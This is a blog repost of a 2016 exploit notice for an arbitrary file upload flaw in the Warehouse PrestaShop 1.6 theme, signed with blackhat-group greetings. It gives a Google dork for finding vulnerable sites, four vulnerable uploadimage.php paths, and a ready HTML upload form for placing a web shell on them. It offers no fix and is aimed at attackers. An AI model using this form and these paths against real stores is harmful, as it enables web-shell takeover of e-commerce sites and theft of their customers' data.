Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload



#- Title: Joomla Warehouse - Responsive Prestashop 1.6 Arbitrary File Upload
#- Author: people_hurt
#- Published : 21/06/2016
#- Developer : iqit-commerce
#- Link Download : themeforest .net/item/warehouse-responsive-prestashop-16-theme-blog/3178575
#- Google Dork: inurl:"/modules/productpageadverts/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 
Warehouse is a clean, powerfull HTML5 responsive prestashop theme.

Warehouse utilizes many advanced modules and modifications like(rollover images, clean cart, sliders, autocomplete, dialogs). Theme is SEO friendly and is Cross Browser compatible, it’s based on prestashop 1.6 default Bootstrap theme

Vulnerability : 
site /modules/columnadverts/uploadimage.php
site /modules/homepageadvertise/uploadimage.php
site /modules/productpageadverts/uploadimage.php
site /modules/simpleslideshow/uploadimage.php

CSRF

<form method="POST" action="http://website/modules/module name/uploadimage.php" enctype="multipart/form-data"> <input type="file" name="userfile" /><button>Upload</button> </form>


If Succesfully   > shell.xxx

Shell Acces ? Click Here 

by people_hurt
Greetzzzz : jatim blackhat - surabaya hackerlink - surabaya blackhat and you



Top Link
• Line Mod Terbaru => Here
• Penyedia Hosting Terbaik => Here
Previous
Next Post »

1 comments:

Click here for comments
August 3, 2016 at 1:32 PM × This comment has been removed by a blog administrator.
avatar
Thanks for your comment